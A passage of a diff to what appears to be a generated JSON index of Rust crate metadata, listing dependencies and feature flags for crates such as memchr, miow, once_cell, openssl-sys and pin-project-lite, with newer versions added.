"{\"dependencies\":[{\"name\":\"compiler_builtins\",\"optional\":true,\"req\":\"^0.1.49\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"libc\",\"req\":\"^0.2.100\"},{\"kind\":\"dev\",\"name\":\"static_assertions\",\"req\":\"^1.1.0\"}],\"features\":{\"bootparam\":[],\"btrfs\":[],\"default\":[\"std\",\"general\",\"errno\"],\"elf\":[],\"elf_uapi\":[],\"errno\":[],\"general\":[],\"if_arp\":[],\"if_ether\":[],\"if_packet\":[],\"io_uring\":[],\"ioctl\":[],\"landlock\":[],\"loop_device\":[],\"mempolicy\":[],\"net\":[],\"netlink\":[],\"no_std\":[],\"prctl\":[],\"ptrace\":[],\"rustc-dep-of-std\":[\"core\",\"compiler_builtins\",\"no_std\"],\"std\":[],\"system\":[],\"xdp\":[]}}", "litemap_0.8.1": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"bincode\",\"req\":\"^1.3.1\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"name\":\"databake\",\"optional\":true,\"req\":\"^0.2.0\"},{\"default_features\":false,\"features\":[\"use-std\"],\"kind\":\"dev\",\"name\":\"postcard\",\"req\":\"^1.0.3\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.9\"},{\"features\":[\"validation\"],\"kind\":\"dev\",\"name\":\"rkyv\",\"req\":\"^0.7\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"serde_core\",\"optional\":true,\"req\":\"^1.0.220\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"serde_core\",\"req\":\"^1.0.220\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0.45\"},{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"yoke\",\"optional\":true,\"req\":\"^0.8.0\"}],\"features\":{\"alloc\":[],\"databake\":[\"dep:databake\"],\"default\":[\"alloc\"],\"serde\":[\"dep:serde_core\",\"alloc\"],\"testing\":[\"alloc\"],\"yoke\":[\"dep:yoke\"]}}", "local-waker_0.1.4": "{\"dependencies\":[],\"features\":{}}", @@ -1007,6 +1037,7 @@ "md-5_0.10.6": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1.0\"},{\"name\":\"digest\",\"req\":\"^0.10.7\"},{\"features\":[\"dev\"],\"kind\":\"dev\",\"name\":\"digest\",\"req\":\"^0.10.7\"},{\"kind\":\"dev\",\"name\":\"hex-literal\",\"req\":\"^0.2.2\"},{\"name\":\"md5-asm\",\"optional\":true,\"req\":\"^0.5\",\"target\":\"cfg(any(target_arch = \\\"x86\\\", target_arch = \\\"x86_64\\\"))\"}],\"features\":{\"asm\":[\"md5-asm\"],\"default\":[\"std\"],\"force-soft\":[],\"loongarch64_asm\":[],\"oid\":[\"digest/oid\"],\"std\":[\"digest/std\"]}}", "md5_0.8.0": "{\"dependencies\":[],\"features\":{\"default\":[\"std\"],\"std\":[]}}", "memchr_2.7.6": "{\"dependencies\":[{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4.20\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^1.0.3\"}],\"features\":{\"alloc\":[],\"default\":[\"std\"],\"libc\":[],\"logging\":[\"dep:log\"],\"rustc-dep-of-std\":[\"core\"],\"std\":[\"alloc\"],\"use_std\":[\"std\"]}}", + "memchr_2.8.0": "{\"dependencies\":[{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4.20\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^1.0.3\"}],\"features\":{\"alloc\":[],\"default\":[\"std\"],\"libc\":[],\"logging\":[\"dep:log\"],\"rustc-dep-of-std\":[\"core\"],\"std\":[\"alloc\"],\"use_std\":[\"std\"]}}", "memoffset_0.6.5": "{\"dependencies\":[{\"kind\":\"build\",\"name\":\"autocfg\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"doc-comment\",\"req\":\"^0.3\"}],\"features\":{\"default\":[],\"unstable_const\":[]}}", "memoffset_0.9.1": "{\"dependencies\":[{\"kind\":\"build\",\"name\":\"autocfg\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"doc-comment\",\"req\":\"^0.3\"}],\"features\":{\"default\":[],\"unstable_const\":[],\"unstable_offset_of\":[]}}", "mime_0.3.17": "{\"dependencies\":[],\"features\":{}}", @@ -1014,6 +1045,7 @@ "minimal-lexical_0.2.1": "{\"dependencies\":[],\"features\":{\"alloc\":[],\"compact\":[],\"default\":[\"std\"],\"lint\":[],\"nightly\":[],\"std\":[]}}", "miniz_oxide_0.8.9": "{\"dependencies\":[{\"default_features\":false,\"name\":\"adler2\",\"req\":\"^2.0\"},{\"name\":\"alloc\",\"optional\":true,\"package\":\"rustc-std-workspace-alloc\",\"req\":\"^1.0.0\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0\"},{\"default_features\":false,\"name\":\"simd-adler32\",\"optional\":true,\"req\":\"^0.3.3\"}],\"features\":{\"block-boundary\":[],\"default\":[\"with-alloc\"],\"rustc-dep-of-std\":[\"core\",\"alloc\",\"adler2/rustc-dep-of-std\"],\"simd\":[\"simd-adler32\"],\"std\":[],\"with-alloc\":[]}}", "mio_1.1.1": "{\"dependencies\":[{\"default_features\":false,\"kind\":\"dev\",\"name\":\"env_logger\",\"req\":\"^0.11\"},{\"name\":\"libc\",\"req\":\"^0.2.178\",\"target\":\"cfg(target_os = \\\"hermit\\\")\"},{\"name\":\"libc\",\"req\":\"^0.2.178\",\"target\":\"cfg(target_os = \\\"wasi\\\")\"},{\"name\":\"libc\",\"req\":\"^0.2.178\",\"target\":\"cfg(unix)\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4.8\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.9\"},{\"name\":\"wasi\",\"req\":\"^0.11.0\",\"target\":\"cfg(target_os = \\\"wasi\\\")\"},{\"features\":[\"Wdk_Foundation\",\"Wdk_Storage_FileSystem\",\"Wdk_System_IO\",\"Win32_Foundation\",\"Win32_Networking_WinSock\",\"Win32_Storage_FileSystem\",\"Win32_Security\",\"Win32_System_IO\",\"Win32_System_WindowsProgramming\"],\"name\":\"windows-sys\",\"req\":\"^0.61\",\"target\":\"cfg(windows)\"}],\"features\":{\"default\":[\"log\"],\"net\":[],\"os-ext\":[\"os-poll\",\"windows-sys/Win32_System_Pipes\",\"windows-sys/Win32_Security\"],\"os-poll\":[]}}", + "miow_0.6.1": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.8.0\"},{\"kind\":\"dev\",\"name\":\"socket2\",\"req\":\"^0.6.0\"},{\"features\":[\"Win32_Foundation\",\"Win32_Networking_WinSock\",\"Win32_Security\",\"Win32_Storage_FileSystem\",\"Win32_System_IO\",\"Win32_System_Pipes\",\"Win32_System_Threading\"],\"name\":\"windows-sys\",\"req\":\">=0.60, <=0.61\"}],\"features\":{}}", "moka_0.12.13": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"actix-rt\",\"req\":\"^2.8\"},{\"kind\":\"dev\",\"name\":\"ahash\",\"req\":\"^0.8.3\"},{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.19\"},{\"name\":\"async-lock\",\"optional\":true,\"req\":\"^3.3\"},{\"name\":\"crossbeam-channel\",\"req\":\"^0.5.15\"},{\"name\":\"crossbeam-epoch\",\"req\":\"^0.9.18\"},{\"name\":\"crossbeam-utils\",\"req\":\"^0.8.21\"},{\"kind\":\"dev\",\"name\":\"env_logger\",\"req\":\"^0.10.0\"},{\"name\":\"equivalent\",\"req\":\"^1.0\"},{\"name\":\"event-listener\",\"optional\":true,\"req\":\"^5.3\"},{\"name\":\"futures-util\",\"optional\":true,\"req\":\"^0.3.17\"},{\"kind\":\"dev\",\"name\":\"getrandom\",\"req\":\"^0.2\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4\"},{\"kind\":\"dev\",\"name\":\"loom\",\"req\":\"^0.7\",\"target\":\"cfg(moka_loom)\"},{\"kind\":\"dev\",\"name\":\"once_cell\",\"req\":\"^1.7\"},{\"name\":\"parking_lot\",\"req\":\"^0.12\"},{\"name\":\"portable-atomic\",\"req\":\"^1.6\"},{\"name\":\"quanta\",\"optional\":true,\"req\":\"^0.12.2\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.8.5\"},{\"default_features\":false,\"features\":[\"rustls-tls\"],\"kind\":\"dev\",\"name\":\"reqwest\",\"req\":\"^0.12\"},{\"name\":\"smallvec\",\"req\":\"^1.8\"},{\"name\":\"tagptr\",\"req\":\"^0.2\"},{\"features\":[\"fs\",\"io-util\",\"macros\",\"rt-multi-thread\",\"sync\",\"time\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1.19\"},{\"kind\":\"dev\",\"name\":\"trybuild\",\"req\":\"^1.0\",\"target\":\"cfg(trybuild)\"},{\"features\":[\"v4\"],\"name\":\"uuid\",\"req\":\"^1.1\"}],\"features\":{\"atomic64\":[],\"default\":[],\"future\":[\"async-lock\",\"event-listener\",\"futures-util\"],\"logging\":[\"log\"],\"quanta\":[\"dep:quanta\"],\"sync\":[],\"unstable-debug-counters\":[\"future\"]}}", "moxcms_0.7.11": "{\"dependencies\":[{\"name\":\"num-traits\",\"req\":\"^0.2\"},{\"name\":\"pxfm\",\"req\":\"^0.1.1\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.9\"}],\"features\":{\"avx\":[],\"avx512\":[],\"default\":[\"avx\",\"sse\",\"neon\"],\"neon\":[],\"options\":[],\"sse\":[]}}", "multimap_0.10.1": "{\"dependencies\":[{\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde_test\",\"req\":\"^1.0\"}],\"features\":{\"default\":[\"serde_impl\"],\"serde_impl\":[\"serde\"]}}", @@ -1067,6 +1099,7 @@ "oboe_0.6.1": "{\"dependencies\":[{\"name\":\"jni\",\"optional\":true,\"req\":\"^0.21\"},{\"default_features\":false,\"name\":\"ndk\",\"optional\":true,\"req\":\"^0.8\"},{\"name\":\"ndk-context\",\"optional\":true,\"req\":\"^0.1\"},{\"name\":\"num-derive\",\"req\":\"^0.4\"},{\"name\":\"num-traits\",\"req\":\"^0.2\"},{\"name\":\"oboe-sys\",\"req\":\"^0.6\"}],\"features\":{\"doc-cfg\":[],\"fetch-prebuilt\":[\"oboe-sys/fetch-prebuilt\"],\"generate-bindings\":[\"oboe-sys/generate-bindings\"],\"java-interface\":[\"ndk\",\"ndk-context\",\"jni\"],\"shared-link\":[\"oboe-sys/shared-link\"],\"shared-stdcxx\":[\"oboe-sys/shared-stdcxx\"]}}", "oid-registry_0.8.1": "{\"dependencies\":[{\"name\":\"asn1-rs\",\"req\":\"^0.7\"}],\"features\":{\"crypto\":[\"kdf\",\"pkcs1\",\"pkcs7\",\"pkcs9\",\"pkcs12\",\"nist_algs\",\"x962\"],\"default\":[\"registry\"],\"kdf\":[],\"ms_spc\":[],\"nist_algs\":[],\"pkcs1\":[],\"pkcs12\":[],\"pkcs7\":[],\"pkcs9\":[],\"registry\":[],\"x500\":[],\"x509\":[],\"x962\":[]}}", "once_cell_1.21.3": "{\"dependencies\":[{\"name\":\"critical-section\",\"optional\":true,\"req\":\"^1.1.3\"},{\"features\":[\"std\"],\"kind\":\"dev\",\"name\":\"critical-section\",\"req\":\"^1.1.3\"},{\"default_features\":false,\"name\":\"parking_lot_core\",\"optional\":true,\"req\":\"^0.9.10\"},{\"default_features\":false,\"name\":\"portable-atomic\",\"optional\":true,\"req\":\"^1.8\"},{\"kind\":\"dev\",\"name\":\"regex\",\"req\":\"^1.10.6\"}],\"features\":{\"alloc\":[\"race\"],\"atomic-polyfill\":[\"critical-section\"],\"critical-section\":[\"dep:critical-section\",\"portable-atomic\"],\"default\":[\"std\"],\"parking_lot\":[\"dep:parking_lot_core\"],\"portable-atomic\":[\"dep:portable-atomic\"],\"race\":[],\"std\":[\"alloc\"],\"unstable\":[]}}", + "once_cell_1.21.4": "{\"dependencies\":[{\"name\":\"critical-section\",\"optional\":true,\"req\":\"^1.1.3\"},{\"features\":[\"std\"],\"kind\":\"dev\",\"name\":\"critical-section\",\"req\":\"^1.1.3\"},{\"default_features\":false,\"name\":\"parking_lot_core\",\"optional\":true,\"req\":\"^0.9.10\"},{\"default_features\":false,\"name\":\"portable-atomic\",\"optional\":true,\"req\":\"^1.8\"},{\"kind\":\"dev\",\"name\":\"regex\",\"req\":\"^1.10.6\"}],\"features\":{\"alloc\":[\"race\"],\"atomic-polyfill\":[\"critical-section\"],\"critical-section\":[\"dep:critical-section\",\"portable-atomic\"],\"default\":[\"std\"],\"parking_lot\":[\"dep:parking_lot_core\"],\"portable-atomic\":[\"dep:portable-atomic\"],\"race\":[],\"std\":[\"alloc\"],\"unstable\":[]}}", "once_cell_polyfill_1.70.2": "{\"dependencies\":[],\"features\":{\"default\":[]}}", "onig_6.5.1": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2.4.0\"},{\"name\":\"libc\",\"req\":\"^0.2\",\"target\":\"cfg(windows)\"},{\"name\":\"once_cell\",\"req\":\"^1.12\"},{\"default_features\":false,\"name\":\"onig_sys\",\"req\":\"^69.9.1\"}],\"features\":{\"default\":[\"generate\"],\"generate\":[\"onig_sys/generate\"],\"posix-api\":[\"onig_sys/posix-api\"],\"print-debug\":[\"onig_sys/print-debug\"],\"std-pattern\":[]}}", "onig_sys_69.9.1": "{\"dependencies\":[{\"features\":[\"runtime\"],\"kind\":\"build\",\"name\":\"bindgen\",\"optional\":true,\"req\":\"^0.71\"},{\"kind\":\"build\",\"name\":\"cc\",\"req\":\"^1.0\"},{\"kind\":\"build\",\"name\":\"pkg-config\",\"req\":\"^0.3.16\"}],\"features\":{\"default\":[\"generate\"],\"generate\":[\"bindgen\"],\"posix-api\":[],\"print-debug\":[]}}", @@ -1076,6 +1109,7 @@ "openssl-probe_0.2.1": "{\"dependencies\":[],\"features\":{}}", "openssl-src_300.5.5+3.5.5": "{\"dependencies\":[{\"name\":\"cc\",\"req\":\"^1.0.79\"}],\"features\":{\"camellia\":[],\"default\":[],\"force-engine\":[],\"idea\":[],\"ktls\":[],\"legacy\":[],\"no-dso\":[],\"seed\":[],\"ssl3\":[],\"weak-crypto\":[]}}", "openssl-sys_0.9.111": "{\"dependencies\":[{\"features\":[\"ssl\",\"bindgen\"],\"name\":\"aws-lc-fips-sys\",\"optional\":true,\"req\":\"^0.13\"},{\"features\":[\"ssl\"],\"name\":\"aws-lc-sys\",\"optional\":true,\"req\":\"^0.27\"},{\"features\":[\"experimental\"],\"kind\":\"build\",\"name\":\"bindgen\",\"optional\":true,\"req\":\"^0.72.0\"},{\"name\":\"bssl-sys\",\"optional\":true,\"req\":\"^0.1.0\"},{\"kind\":\"build\",\"name\":\"cc\",\"req\":\"^1.0.61\"},{\"name\":\"libc\",\"req\":\"^0.2\"},{\"features\":[\"legacy\"],\"kind\":\"build\",\"name\":\"openssl-src\",\"optional\":true,\"req\":\"^300.2.0\"},{\"kind\":\"build\",\"name\":\"pkg-config\",\"req\":\"^0.3.9\"},{\"kind\":\"build\",\"name\":\"vcpkg\",\"req\":\"^0.2.8\"}],\"features\":{\"aws-lc\":[\"dep:aws-lc-sys\"],\"aws-lc-fips\":[\"dep:aws-lc-fips-sys\"],\"unstable_boringssl\":[\"bssl-sys\"],\"vendored\":[\"openssl-src\"]}}", + "openssl-sys_0.9.112": "{\"dependencies\":[{\"features\":[\"ssl\",\"bindgen\"],\"name\":\"aws-lc-fips-sys\",\"optional\":true,\"req\":\"^0.13\"},{\"features\":[\"ssl\"],\"name\":\"aws-lc-sys\",\"optional\":true,\"req\":\"^0.38\"},{\"features\":[\"experimental\"],\"kind\":\"build\",\"name\":\"bindgen\",\"optional\":true,\"req\":\"^0.72.0\"},{\"name\":\"bssl-sys\",\"optional\":true,\"req\":\"^0.1.0\"},{\"kind\":\"build\",\"name\":\"cc\",\"req\":\"^1.0.61\"},{\"name\":\"libc\",\"req\":\"^0.2\"},{\"features\":[\"legacy\"],\"kind\":\"build\",\"name\":\"openssl-src\",\"optional\":true,\"req\":\"^300.2.0\"},{\"kind\":\"build\",\"name\":\"pkg-config\",\"req\":\"^0.3.9\"},{\"kind\":\"build\",\"name\":\"vcpkg\",\"req\":\"^0.2.8\"}],\"features\":{\"aws-lc\":[\"dep:aws-lc-sys\"],\"aws-lc-fips\":[\"dep:aws-lc-fips-sys\"],\"unstable_boringssl\":[\"bssl-sys\"],\"vendored\":[\"openssl-src\"]}}", "openssl_0.10.75": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2.2.1\"},{\"name\":\"cfg-if\",\"req\":\"^1.0\"},{\"name\":\"ffi\",\"package\":\"openssl-sys\",\"req\":\"^0.9.111\"},{\"name\":\"foreign-types\",\"req\":\"^0.3.1\"},{\"kind\":\"dev\",\"name\":\"hex\",\"req\":\"^0.4\"},{\"name\":\"libc\",\"req\":\"^0.2\"},{\"name\":\"once_cell\",\"req\":\"^1.5.2\"},{\"name\":\"openssl-macros\",\"req\":\"^0.1.1\"}],\"features\":{\"aws-lc\":[\"ffi/aws-lc\"],\"aws-lc-fips\":[\"ffi/aws-lc-fips\"],\"bindgen\":[\"ffi/bindgen\"],\"default\":[],\"unstable_boringssl\":[\"ffi/unstable_boringssl\"],\"v101\":[],\"v102\":[],\"v110\":[],\"v111\":[],\"vendored\":[\"ffi/vendored\"]}}", "opentelemetry-appender-tracing_0.31.1": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5\"},{\"name\":\"log\",\"optional\":true,\"req\":\"^0.4.21\"},{\"kind\":\"dev\",\"name\":\"log\",\"req\":\"^0.4.21\"},{\"default_features\":false,\"features\":[\"logs\"],\"name\":\"opentelemetry\",\"req\":\"^0.31\"},{\"default_features\":false,\"features\":[\"logs\"],\"kind\":\"dev\",\"name\":\"opentelemetry-stdout\",\"req\":\"^0.31\"},{\"default_features\":false,\"features\":[\"logs\",\"testing\",\"internal-logs\"],\"kind\":\"dev\",\"name\":\"opentelemetry_sdk\",\"req\":\"^0.31\"},{\"features\":[\"flamegraph\",\"criterion\"],\"kind\":\"dev\",\"name\":\"pprof\",\"req\":\"^0.14\",\"target\":\"cfg(not(target_os = \\\"windows\\\"))\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"tracing\",\"req\":\">=0.1.40\"},{\"default_features\":false,\"features\":[\"std\"],\"kind\":\"dev\",\"name\":\"tracing\",\"req\":\">=0.1.40\"},{\"default_features\":false,\"name\":\"tracing-core\",\"req\":\">=0.1.33\"},{\"name\":\"tracing-log\",\"optional\":true,\"req\":\"^0.2\"},{\"kind\":\"dev\",\"name\":\"tracing-log\",\"req\":\"^0.2\"},{\"name\":\"tracing-opentelemetry\",\"optional\":true,\"req\":\"^0.32\"},{\"default_features\":false,\"features\":[\"registry\",\"std\"],\"name\":\"tracing-subscriber\",\"req\":\"^0.3\"},{\"default_features\":false,\"features\":[\"env-filter\",\"registry\",\"std\",\"fmt\"],\"kind\":\"dev\",\"name\":\"tracing-subscriber\",\"req\":\"^0.3\"}],\"features\":{\"default\":[],\"experimental_metadata_attributes\":[\"dep:tracing-log\"],\"experimental_use_tracing_span_context\":[\"tracing-opentelemetry\"],\"spec_unstable_logs_enabled\":[\"opentelemetry/spec_unstable_logs_enabled\"]}}", "opentelemetry-http_0.31.0": "{\"dependencies\":[{\"name\":\"async-trait\",\"req\":\"^0.1\"},{\"name\":\"bytes\",\"req\":\"^1\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"http\",\"req\":\"^1.1\"},{\"name\":\"http-body-util\",\"optional\":true,\"req\":\"^0.1\"},{\"default_features\":false,\"name\":\"hyper\",\"optional\":true,\"req\":\"^1.3\"},{\"features\":[\"client-legacy\",\"http1\",\"http2\"],\"name\":\"hyper-util\",\"optional\":true,\"req\":\"^0.1\"},{\"default_features\":false,\"features\":[\"trace\"],\"name\":\"opentelemetry\",\"req\":\"^0.31\"},{\"default_features\":false,\"name\":\"reqwest\",\"optional\":true,\"req\":\"^0.12\"},{\"default_features\":false,\"features\":[\"time\"],\"name\":\"tokio\",\"optional\":true,\"req\":\"^1\"}],\"features\":{\"default\":[\"internal-logs\"],\"hyper\":[\"dep:http-body-util\",\"dep:hyper\",\"dep:hyper-util\",\"dep:tokio\"],\"internal-logs\":[\"opentelemetry/internal-logs\"],\"reqwest\":[\"dep:reqwest\"],\"reqwest-blocking\":[\"dep:reqwest\",\"reqwest/blocking\"],\"reqwest-rustls\":[\"dep:reqwest\",\"reqwest/rustls-tls-native-roots\"],\"reqwest-rustls-webpki-roots\":[\"dep:reqwest\",\"reqwest/rustls-tls-webpki-roots\"]}}", @@ -1106,12 +1140,14 @@ "phf_shared_0.11.3": "{\"dependencies\":[{\"name\":\"siphasher\",\"req\":\"^1.0\"},{\"default_features\":false,\"name\":\"uncased\",\"optional\":true,\"req\":\"^0.9.9\"},{\"name\":\"unicase\",\"optional\":true,\"req\":\"^2.4.0\"}],\"features\":{\"default\":[\"std\"],\"std\":[]}}", "pin-project-internal_1.1.10": "{\"dependencies\":[{\"name\":\"proc-macro2\",\"req\":\"^1.0.60\"},{\"name\":\"quote\",\"req\":\"^1.0.25\"},{\"default_features\":false,\"features\":[\"parsing\",\"printing\",\"clone-impls\",\"proc-macro\",\"full\",\"visit-mut\"],\"name\":\"syn\",\"req\":\"^2.0.1\"}],\"features\":{}}", "pin-project-lite_0.2.16": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"static_assertions\",\"req\":\"^1\"}],\"features\":{}}", + "pin-project-lite_0.2.17": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"static_assertions\",\"req\":\"^1\"}],\"features\":{}}", "pin-project_1.1.10": "{\"dependencies\":[{\"name\":\"pin-project-internal\",\"req\":\"=1.1.10\"},{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"static_assertions\",\"req\":\"^1\"}],\"features\":{}}", "pin-utils_0.1.0": "{\"dependencies\":[],\"features\":{}}", "piper_0.2.4": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"async-channel\",\"req\":\"^2.0.0\"},{\"kind\":\"dev\",\"name\":\"async-executor\",\"req\":\"^1.5.1\"},{\"kind\":\"dev\",\"name\":\"async-io\",\"req\":\"^2.0.0\"},{\"name\":\"atomic-waker\",\"req\":\"^1.1.0\"},{\"default_features\":false,\"features\":[\"cargo_bench_support\"],\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.4.0\"},{\"kind\":\"dev\",\"name\":\"easy-parallel\",\"req\":\"^3.2.0\"},{\"default_features\":false,\"name\":\"fastrand\",\"req\":\"^2.0.0\"},{\"name\":\"futures-io\",\"optional\":true,\"req\":\"^0.3.28\"},{\"kind\":\"dev\",\"name\":\"futures-lite\",\"req\":\"^2.0.0\"},{\"features\":[\"alloc\"],\"name\":\"portable-atomic-util\",\"optional\":true,\"req\":\"^0.2.0\"},{\"default_features\":false,\"name\":\"portable_atomic_crate\",\"optional\":true,\"package\":\"portable-atomic\",\"req\":\"^1.2.0\"}],\"features\":{\"default\":[\"std\"],\"portable-atomic\":[\"atomic-waker/portable-atomic\",\"portable_atomic_crate\",\"portable-atomic-util\"],\"std\":[\"fastrand/std\",\"futures-io\"]}}", "pkcs1_0.7.5": "{\"dependencies\":[{\"features\":[\"db\"],\"kind\":\"dev\",\"name\":\"const-oid\",\"req\":\"^0.9\"},{\"features\":[\"oid\"],\"name\":\"der\",\"req\":\"^0.7\"},{\"kind\":\"dev\",\"name\":\"hex-literal\",\"req\":\"^0.4\"},{\"default_features\":false,\"name\":\"pkcs8\",\"optional\":true,\"req\":\"^0.10\"},{\"name\":\"spki\",\"req\":\"^0.7\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3\"}],\"features\":{\"alloc\":[\"der/alloc\",\"zeroize\",\"pkcs8?/alloc\"],\"pem\":[\"alloc\",\"der/pem\",\"pkcs8?/pem\"],\"std\":[\"der/std\",\"alloc\"],\"zeroize\":[\"der/zeroize\"]}}", "pkcs8_0.10.2": "{\"dependencies\":[{\"features\":[\"oid\"],\"name\":\"der\",\"req\":\"^0.7\"},{\"kind\":\"dev\",\"name\":\"hex-literal\",\"req\":\"^0.3\"},{\"name\":\"pkcs5\",\"optional\":true,\"req\":\"^0.7\"},{\"default_features\":false,\"name\":\"rand_core\",\"optional\":true,\"req\":\"^0.6\"},{\"name\":\"spki\",\"req\":\"^0.7.1\"},{\"default_features\":false,\"name\":\"subtle\",\"optional\":true,\"req\":\"^2\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3\"}],\"features\":{\"3des\":[\"encryption\",\"pkcs5/3des\"],\"alloc\":[\"der/alloc\",\"der/zeroize\",\"spki/alloc\"],\"des-insecure\":[\"encryption\",\"pkcs5/des-insecure\"],\"encryption\":[\"alloc\",\"pkcs5/alloc\",\"pkcs5/pbes2\",\"rand_core\"],\"getrandom\":[\"rand_core/getrandom\"],\"pem\":[\"alloc\",\"der/pem\",\"spki/pem\"],\"sha1-insecure\":[\"encryption\",\"pkcs5/sha1-insecure\"],\"std\":[\"alloc\",\"der/std\",\"spki/std\"]}}", "pkg-config_0.3.32": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"lazy_static\",\"req\":\"^1\"}],\"features\":{}}", + "plain_0.2.3": "{\"dependencies\":[],\"features\":{}}", "plist_1.8.0": "{\"dependencies\":[{\"name\":\"base64\",\"req\":\"^0.22.0\"},{\"name\":\"indexmap\",\"req\":\"^2.1.0\"},{\"name\":\"quick_xml\",\"package\":\"quick-xml\",\"req\":\"^0.38.0\"},{\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.2\"},{\"kind\":\"dev\",\"name\":\"serde_derive\",\"req\":\"^1.0.2\"},{\"kind\":\"dev\",\"name\":\"serde_yaml\",\"req\":\"^0.8.21\"},{\"features\":[\"parsing\",\"formatting\"],\"name\":\"time\",\"req\":\"^0.3.30\"}],\"features\":{\"default\":[\"serde\"],\"enable_unstable_features_that_may_break_with_minor_version_bumps\":[]}}", "png_0.18.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"approx\",\"req\":\"^0.5.1\"},{\"name\":\"bitflags\",\"req\":\"^2.0\"},{\"kind\":\"dev\",\"name\":\"byteorder\",\"req\":\"^1.5.0\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"clap\",\"req\":\"^4.0\"},{\"name\":\"crc32fast\",\"req\":\"^1.2.0\"},{\"default_features\":false,\"features\":[\"cargo_bench_support\"],\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.7.0\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.7.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"fdeflate\",\"req\":\"^0.3.3\"},{\"name\":\"flate2\",\"req\":\"^1.0.35\"},{\"kind\":\"dev\",\"name\":\"glob\",\"req\":\"^0.3\"},{\"features\":[\"simd\"],\"name\":\"miniz_oxide\",\"req\":\"^0.8\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.9.2\"}],\"features\":{\"benchmarks\":[],\"unstable\":[\"crc32fast/nightly\"],\"zlib-rs\":[\"flate2/zlib-rs\"]}}", "polling_3.11.0": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1\"},{\"name\":\"concurrent-queue\",\"req\":\"^2.2.0\",\"target\":\"cfg(windows)\"},{\"kind\":\"dev\",\"name\":\"easy-parallel\",\"req\":\"^3.1.0\"},{\"kind\":\"dev\",\"name\":\"fastrand\",\"req\":\"^2.0.0\"},{\"name\":\"hermit-abi\",\"req\":\"^0.5.0\",\"target\":\"cfg(target_os = \\\"hermit\\\")\"},{\"kind\":\"dev\",\"name\":\"libc\",\"req\":\"^0.2\",\"target\":\"cfg(unix)\"},{\"name\":\"pin-project-lite\",\"req\":\"^0.2.9\",\"target\":\"cfg(windows)\"},{\"default_features\":false,\"features\":[\"event\",\"fs\",\"pipe\",\"process\",\"std\",\"time\"],\"name\":\"rustix\",\"req\":\"^1.0.5\",\"target\":\"cfg(any(unix, target_os = \\\"fuchsia\\\", target_os = \\\"vxworks\\\"))\"},{\"kind\":\"dev\",\"name\":\"signal-hook\",\"req\":\"^0.3.17\",\"target\":\"cfg(all(unix, 